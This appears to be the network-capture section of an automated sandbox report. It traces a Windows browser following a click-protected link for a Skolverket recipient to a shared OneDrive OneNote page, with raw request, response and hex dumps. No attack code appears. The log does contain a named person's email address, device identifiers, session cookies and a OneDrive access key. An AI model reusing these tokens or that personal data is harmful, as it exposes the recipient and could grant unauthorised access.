2024-10-25 08:18:13 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49729	173.222.162.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:15 UTC	2208	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900C4F3 X-BM-CBT: 1696488253 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: 1D6F504B5A5A465DBDB84F31C63A581D X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900C4F3 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshldspcl40,msbdsborgv2co,msbwdsbi920cf,optfsth3,premsbdsbchtupcf,wsbfixcachec,wsbqfasmsall_c,wsbqfminiserp_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 516 Connection: Keep-Alive Cache-Control: no-cache Cookie: SRCHUID=V=2&GUID=CE2BE0509FF742BD822F50D98AD10391&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&HV=1696488191&IPMH=5767d621&IPMID=1696488252989&LUT=1696487541024; MUID=81C61E09498D41CC97CDBBA354824ED1; _SS=SID=1D9FAF807E686D422B86BC217FC66C71&CPID=1696488253968&AC=1&CPH=071f2185; _EDGE_S=SID=1D9FAF807E686D422B86BC217FC66C71; MUIDB=81C61E09498D41CC97CDBBA354824ED1
2024-10-25 08:18:15 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-10-25 08:18:15 UTC	515	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 38 31 43 36 31 45 30 39 34 39 38 44 34 31 43 43 39 37 43 44 42 42 41 33 35 34 38 32 34 45 44 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 33 35 31 41 41 38 32 41 45 39 30 43 34 36 36 39 39 46 35 42 31 46 45 33 34 32 42 45 37 45 31 30 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>81C61E09498D41CC97CDBBA354824ED1</CID><Events><E><T>Event.ClientInst</T><IG>351AA82AE90C46699F5B1FE342BE7E10</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-10-25 08:18:15 UTC	479	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 645F358646444271BC30D890181F4E40 Ref B: LAX311000112031 Ref C: 2024-10-25T08:18:15Z Date: Fri, 25 Oct 2024 08:18:15 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.2ea6dc17.1729844295.18694ae

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49735	193.235.52.43	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:39 UTC	1106	OUT	GET /?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0 HTTP/1.1 Host: klickskydd.skolverket.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:18:39 UTC	559	IN	HTTP/1.1 302 Found Server: nginx Date: Fri, 25 Oct 2024 08:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://onedrive.live.com/redir?resid=A2C259BD24DEB977%211517&authkey=%21AMV6sdjMIZf95vs&page=View&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl Strict-Transport-Security: max-age=31536000 X-Frame-Options: deny Content-Security-Policy: frame-ancestors 'none'
2024-10-25 08:18:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49737	13.107.137.11	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:40 UTC	903	OUT	GET /redir?resid=A2C259BD24DEB977%211517&authkey=%21AMV6sdjMIZf95vs&page=View&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl HTTP/1.1 Host: onedrive.live.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:18:40 UTC	1266	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 406 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /view?id=A2C259BD24DEB977!1517&resid=A2C259BD24DEB977!1517&authkey=!AMV6sdjMIZf95vs&wd=target(Quick Notes.one\|8266a05f-045a-4cc0-bddc-4debc90069bb/Notera H6TYD9J4rDFDFECZC-HUYW\|a949d04d-b4e2-4509-b99f-d04546199b7b/)&wdorigin=NavigationUrl&wdo=2&cid=a2c259bd24deb977 Set-Cookie: E=P:A1sbos303Ig=:cyqkCMhgkSbeP1NVwcHAlwvIAaSybJ0zcUMlx1A95ss=:F; domain=.live.com; path=/ Set-Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 25-Oct-2024 06:38:40 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 7dc88597df-9pcgw X-ODWebServer: namsouthce155880-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 93F0C41364F84296AD494D69D40B3834 Ref B: SN1EDGE2321 Ref C: 2024-10-25T08:18:40Z Date: Fri, 25 Oct 2024 08:18:40 GMT Connection: close
2024-10-25 08:18:40 UTC	406	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 76 69 65 77 3f 69 64 3d 41 32 43 32 35 39 42 44 32 34 44 45 42 39 37 37 21 31 35 31 37 26 61 6d 70 3b 72 65 73 69 64 3d 41 32 43 32 35 39 42 44 32 34 44 45 42 39 37 37 21 31 35 31 37 26 61 6d 70 3b 61 75 74 68 6b 65 79 3d 21 41 4d 56 36 73 64 6a 4d 49 5a 66 39 35 76 73 26 61 6d 70 3b 77 64 3d 74 61 72 67 65 74 28 51 75 69 63 6b 20 4e 6f 74 65 73 2e 6f 6e 65 7c 38 32 36 36 61 30 35 66 2d 30 34 35 61 2d 34 63 63 30 2d 62 64 64 63 2d 34 64 65 62 63 39 30 30 36 39 62 62 2f 4e 6f 74 65 72 61 20 48 36 54 59 44 39 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/view?id=A2C259BD24DEB977!1517&resid=A2C259BD24DEB977!1517&authkey=!AMV6sdjMIZf95vs&wd=target(Quick Notes.one\|8266a05f-045a-4cc0-bddc-4debc90069bb/Notera H6TYD9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49738	13.107.137.11	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:41 UTC	1074	OUT	GET /view?id=A2C259BD24DEB977!1517&resid=A2C259BD24DEB977!1517&authkey=!AMV6sdjMIZf95vs&wd=target(Quick%20Notes.one\|8266a05f-045a-4cc0-bddc-4debc90069bb/Notera%20H6TYD9J4rDFDFECZC-HUYW\|a949d04d-b4e2-4509-b99f-d04546199b7b/)&wdorigin=NavigationUrl&wdo=2&cid=a2c259bd24deb977 HTTP/1.1 Host: onedrive.live.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: E=P:A1sbos303Ig=:cyqkCMhgkSbeP1NVwcHAlwvIAaSybJ0zcUMlx1A95ss=:F; xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; xidseq=1
2024-10-25 08:18:42 UTC	798	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 52173 Content-Type: text/html; charset=utf-8 Expires: -1 Set-Cookie: E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; domain=.live.com; path=/ Set-Cookie: xidseq=2; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 25-Oct-2024 06:38:41 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 01-Nov-2024 08:18:42 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 659965d4bf-b5d52 X-ODWebServer: namsouthce375367-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 237257E51E9644A7B8CBC8FDD6A93D1F Ref B: SN1EDGE2514 Ref C: 2024-10-25T08:18:41Z Date: Fri, 25 Oct 2024 08:18:41 GMT Connection: close
2024-10-25 08:18:42 UTC	1706	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 20 73 64 78 5f 68 74 6d 6c 22 20 73 74 79 6c 65 3d 22 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 26 23 35 39 3b 63 68 61 72 73 65 74 26 23 36 31 3b 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4e Data Ascii: <!DOCTYPE html><html lang="en" dir="ltr" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" class=" responsive sdx_html" style=""> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/><meta name="title" content="N
2024-10-25 08:18:42 UTC	8192	IN	Data Raw: 65 6e 55 72 6c 49 6e 50 6c 61 63 65 4f 66 45 64 69 74 46 6f 72 55 6e 69 66 69 65 64 5f 57 6f 72 64 22 3a 31 2c 22 57 61 63 5f 48 6f 73 74 46 6c 69 67 68 74 5f 45 78 63 65 6c 5f 45 78 63 65 6c 4a 73 41 70 69 56 32 4e 6f 57 72 61 70 70 65 72 22 3a 31 2c 22 57 61 63 5f 48 6f 73 74 46 6c 69 67 68 74 5f 45 78 63 65 6c 5f 49 6e 73 74 61 6e 74 53 68 65 6c 6c 22 3a 31 2c 22 57 61 63 5f 48 6f 73 74 46 6c 69 67 68 74 5f 45 78 63 65 6c 5f 45 78 63 65 6c 4c 61 6e 64 69 6e 67 50 61 67 65 4f 62 73 65 72 76 65 72 22 3a 31 2c 22 57 61 63 5f 4a 73 41 70 69 5f 45 78 63 65 6c 5f 45 64 69 74 22 3a 31 2c 22 57 61 63 5f 4a 73 41 70 69 5f 45 78 63 65 6c 5f 45 64 69 74 4e 65 77 22 3a 31 2c 22 45 6e 61 62 6c 65 57 61 63 55 73 65 4f 70 65 6e 55 72 6c 49 6e 50 6c 61 63 65 4f 66 45 Data Ascii: enUrlInPlaceOfEditForUnified_Word":1,"Wac_HostFlight_Excel_ExcelJsApiV2NoWrapper":1,"Wac_HostFlight_Excel_InstantShell":1,"Wac_HostFlight_Excel_ExcelLandingPageObserver":1,"Wac_JsApi_Excel_Edit":1,"Wac_JsApi_Excel_EditNew":1,"EnableWacUseOpenUrlInPlaceOfE
2024-10-25 08:18:42 UTC	5834	IN	Data Raw: 69 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 5b 69 2d 31 5d 3b 71 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 28 69 2c 6e 2c 6f 2c 72 2e 5f 72 65 73 75 6c 74 29 7d 29 7d 65 6c 73 65 20 6d 28 72 2c 6e 2c 65 2c 74 29 3b 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 69 66 28 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 74 68 69 73 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 74 3d 6e 65 77 20 74 68 69 73 28 75 29 3b 72 65 74 75 72 6e 20 70 28 74 2c 65 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 65 2e 74 68 65 6e 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e Data Ascii: i){var o=arguments[i-1];q(function(){return v(i,n,o,r._result)})}else m(r,n,e,t);return n}function a(e){if(e&&"object"==typeof e&&e.constructor===this)return e;var t=new this(u);return p(t,e),t}function u(){}function f(e){try{return e.then}catch(e){return
2024-10-25 08:18:42 UTC	8192	IN	Data Raw: 6d 61 69 6e 53 63 72 69 70 74 2c 73 75 62 50 61 74 68 2c 76 65 72 73 69 6f 6e 3d 22 32 2e 32 2e 30 22 2c 63 6f 6d 6d 65 6e 74 52 65 67 45 78 70 3d 2f 28 5c 2f 5c 2a 28 5b 5c 73 5c 53 5d 2a 3f 29 5c 2a 5c 2f 7c 28 5b 5e 3a 5d 7c 5e 29 5c 2f 5c 2f 28 2e 2a 29 24 29 2f 67 6d 2c 63 6a 73 52 65 71 75 69 72 65 52 65 67 45 78 70 3d 2f 5b 5e 2e 5d 5c 73 2a 72 65 71 75 69 72 65 5c 73 2a 5c 28 5c 73 2a 5b 22 27 5d 28 5b 5e 27 22 5c 73 5d 2b 29 5b 22 27 5d 5c 73 2a 5c 29 2f 67 2c 6a 73 53 75 66 66 69 78 52 65 67 45 78 70 3d 2f 5c 2e 6a 73 24 2f 2c 63 75 72 72 44 69 72 52 65 67 45 78 70 3d 2f 5e 5c 2e 5c 2f 2f 2c 6f 70 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 73 74 72 69 6e 67 3d 6f 70 2e 74 6f 53 74 72 69 6e 67 2c 68 61 73 4f 77 6e 3d 6f 70 2e 68 61 Data Ascii: mainScript,subPath,version="2.2.0",commentRegExp=/(\/\([\s\S]?)\\/\|([^:]\|^)\/\/(.)$)/gm,cjsRequireRegExp=/[^.]\srequire\s$\s["']([^'"\s]+)["']\s$/g,jsSuffixRegExp=/\.js$/,currDirRegExp=/^\.\//,op=Object.prototype,ostring=op.toString,hasOwn=op.ha
2024-10-25 08:18:42 UTC	8192	IN	Data Raw: 6c 65 6e 67 74 68 29 7b 28 65 3d 6d 61 6b 65 45 72 72 6f 72 28 22 74 69 6d 65 6f 75 74 22 2c 22 4c 6f 61 64 20 74 69 6d 65 6f 75 74 20 66 6f 72 20 6d 6f 64 75 6c 65 73 3a 20 22 2b 6f 2c 6e 75 6c 6c 2c 6f 29 29 2e 63 6f 6e 74 65 78 74 4e 61 6d 65 3d 64 2e 63 6f 6e 74 65 78 74 4e 61 6d 65 3b 72 65 74 75 72 6e 20 6a 28 65 29 7d 75 26 26 65 61 63 68 28 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 21 66 75 6e 63 74 69 6f 6e 20 69 28 6f 2c 73 2c 61 29 7b 76 61 72 20 65 3d 6f 2e 6d 61 70 2e 69 64 3b 69 66 28 6f 2e 65 72 72 6f 72 29 6f 2e 65 6d 69 74 28 22 65 72 72 6f 72 22 2c 6f 2e 65 72 72 6f 72 29 3b 65 6c 73 65 7b 73 5b 65 5d 3d 21 30 3b 65 61 63 68 28 6f 2e 64 65 70 4d 61 70 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 65 2e 69 64 2c 6e 3d Data Ascii: length){(e=makeError("timeout","Load timeout for modules: "+o,null,o)).contextName=d.contextName;return j(e)}u&&each(s,function(e){!function i(o,s,a){var e=o.map.id;if(o.error)o.emit("error",o.error);else{s[e]=!0;each(o.depMaps,function(e,t){var r=e.id,n=
2024-10-25 08:18:42 UTC	8192	IN	Data Raw: 70 2e 74 65 73 74 28 65 29 29 73 3d 65 2b 28 74 7c 7c 22 22 29 3b 65 6c 73 65 7b 6e 3d 67 2e 70 61 74 68 73 3b 66 6f 72 28 6f 3d 28 69 3d 65 2e 73 70 6c 69 74 28 22 2f 22 29 29 2e 6c 65 6e 67 74 68 3b 30 3c 6f 3b 2d 2d 6f 29 69 66 28 61 3d 67 65 74 4f 77 6e 28 6e 2c 69 2e 73 6c 69 63 65 28 30 2c 6f 29 2e 6a 6f 69 6e 28 22 2f 22 29 29 29 7b 69 73 41 72 72 61 79 28 61 29 26 26 28 61 3d 61 5b 30 5d 29 3b 69 2e 73 70 6c 69 63 65 28 30 2c 6f 2c 61 29 3b 62 72 65 61 6b 7d 73 3d 69 2e 6a 6f 69 6e 28 22 2f 22 29 3b 73 3d 28 22 2f 22 3d 3d 3d 28 73 2b 3d 74 7c 7c 28 2f 5e 64 61 74 61 5c 3a 7c 5e 62 6c 6f 62 5c 3a 7c 5c 3f 2f 2e 74 65 73 74 28 73 29 7c 7c 72 3f 22 22 3a 22 2e 6a 73 22 29 29 2e 63 68 61 72 41 74 28 30 29 7c 7c 73 2e 6d 61 74 63 68 28 2f 5e 5b 5c 77 Data Ascii: p.test(e))s=e+(t\|\|"");else{n=g.paths;for(o=(i=e.split("/")).length;0<o;--o)if(a=getOwn(n,i.slice(0,o).join("/"))){isArray(a)&&(a=a[0]);i.splice(0,o,a);break}s=i.join("/");s=("/"===(s+=t\|\|(/^data\:\|^blob\:\|\?/.test(s)\|\|r?"":".js")).charAt(0)\|\|s.match(/^[\w
2024-10-25 08:18:42 UTC	8192	IN	Data Raw: 65 6e 61 62 6c 65 54 61 67 73 56 69 65 77 22 3a 31 2c 22 65 6e 61 62 6c 65 41 6c 62 75 6d 73 52 65 63 69 70 69 65 6e 74 56 69 65 77 22 3a 31 2c 22 63 6f 70 79 41 73 79 6e 63 45 6e 61 62 6c 65 64 22 3a 31 2c 22 69 73 55 73 65 72 49 6e 47 66 52 61 6d 70 22 3a 31 2c 22 78 62 6f 78 4d 75 73 69 63 55 72 6c 22 3a 22 68 74 74 70 73 5c 75 30 30 33 61 5c 75 30 30 32 66 5c 75 30 30 32 66 6d 75 73 69 63 2e 78 62 6f 78 2e 63 6f 6d 5c 75 30 30 32 66 22 2c 22 75 73 65 4e 65 77 46 65 65 64 62 61 63 6b 22 3a 31 2c 22 66 65 65 64 62 61 63 6b 53 74 72 69 6e 67 73 55 72 6c 22 3a 22 5c 75 30 30 32 66 68 61 6e 64 6c 65 72 73 5c 75 30 30 32 66 63 6c 69 65 6e 74 73 74 72 69 6e 67 2e 6d 76 63 5c 75 30 30 33 66 6d 6b 74 5c 75 30 30 33 64 65 6e 2d 55 53 5c 75 30 30 32 36 67 72 6f Data Ascii: enableTagsView":1,"enableAlbumsRecipientView":1,"copyAsyncEnabled":1,"isUserInGfRamp":1,"xboxMusicUrl":"https\u003a\u002f\u002fmusic.xbox.com\u002f","useNewFeedback":1,"feedbackStringsUrl":"\u002fhandlers\u002fclientstring.mvc\u003fmkt\u003den-US\u0026gro
2024-10-25 08:18:42 UTC	3673	IN	Data Raw: 20 28 21 62 61 63 6b 75 70 42 61 73 65 55 72 6c 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 63 6f 6e 66 69 67 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 70 61 74 68 73 20 3d 20 7b 7d 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 62 75 6e 64 6c 65 49 64 20 69 6e 20 63 6f 6e 66 69 67 2e 62 75 6e 64 6c 65 73 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 62 75 6e 64 6c 65 50 61 74 68 20 3d 20 63 6f 6e 66 69 67 2e 70 61 74 68 73 5b 62 75 6e 64 6c 65 49 64 5d 3b 0d 0a 20 20 20 20 20 20 Data Ascii: (!backupBaseUrl) { return config; } var paths = {}; for (var bundleId in config.bundles) { var bundlePath = config.paths[bundleId];

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49756	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:47 UTC	704	OUT	POST /suite/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 700 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
